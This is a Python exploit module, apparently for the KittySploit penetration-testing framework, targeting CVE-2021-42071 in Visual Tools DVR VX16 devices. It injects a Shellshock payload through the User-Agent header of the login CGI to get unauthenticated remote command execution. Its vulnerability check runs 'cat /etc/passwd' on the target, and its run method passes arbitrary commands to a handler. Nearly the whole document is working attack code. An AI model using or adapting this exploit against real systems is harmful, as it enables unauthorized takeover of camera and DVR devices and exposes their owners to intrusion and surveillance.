Visual Tools DVR Shellshock RCE (CVE-2021-42071)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Visual Tools DVR Shellshock RCE (CVE-2021-42071)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Visual Tools DVR Shellshock RCE (CVE-2021-42071)',
        'description': (
            'Exploits CVE-2021-42071 in Visual Tools DVR VX16: Shellshock in User-Agent '
            'on /cgi-bin/slogin/login.py yields unauthenticated command execution.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2021-42071'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2021-42071'],
        'tags': ['visualtools', 'dvr', 'camera', 'shellshock', 'rce', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {'suggested_followups': ['scanner/http/cve_2021_42071_detect']},
        },
    }

    login_path = OptString('/cgi-bin/slogin/login.py', 'DVR login CGI path', required=False, advanced=True)

    def execute(self, cmd: str) -> str:
        payload = f'() {{ :;}}; echo; echo; {cmd}'
        path = str(self.login_path or '/cgi-bin/slogin/login.py').strip()
        r = self.http_request(
            method='GET',
            path=path,
            headers={'User-Agent': payload},
            allow_redirects=False,
        )
        return (r.text or '') if r else ''

    def check(self):
        body = self.execute('cat /etc/passwd')
        if re.search(r'root:.*:0:0:', body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2021-42071 Shellshock confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Visual Tools DVR RCE not confirmed', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()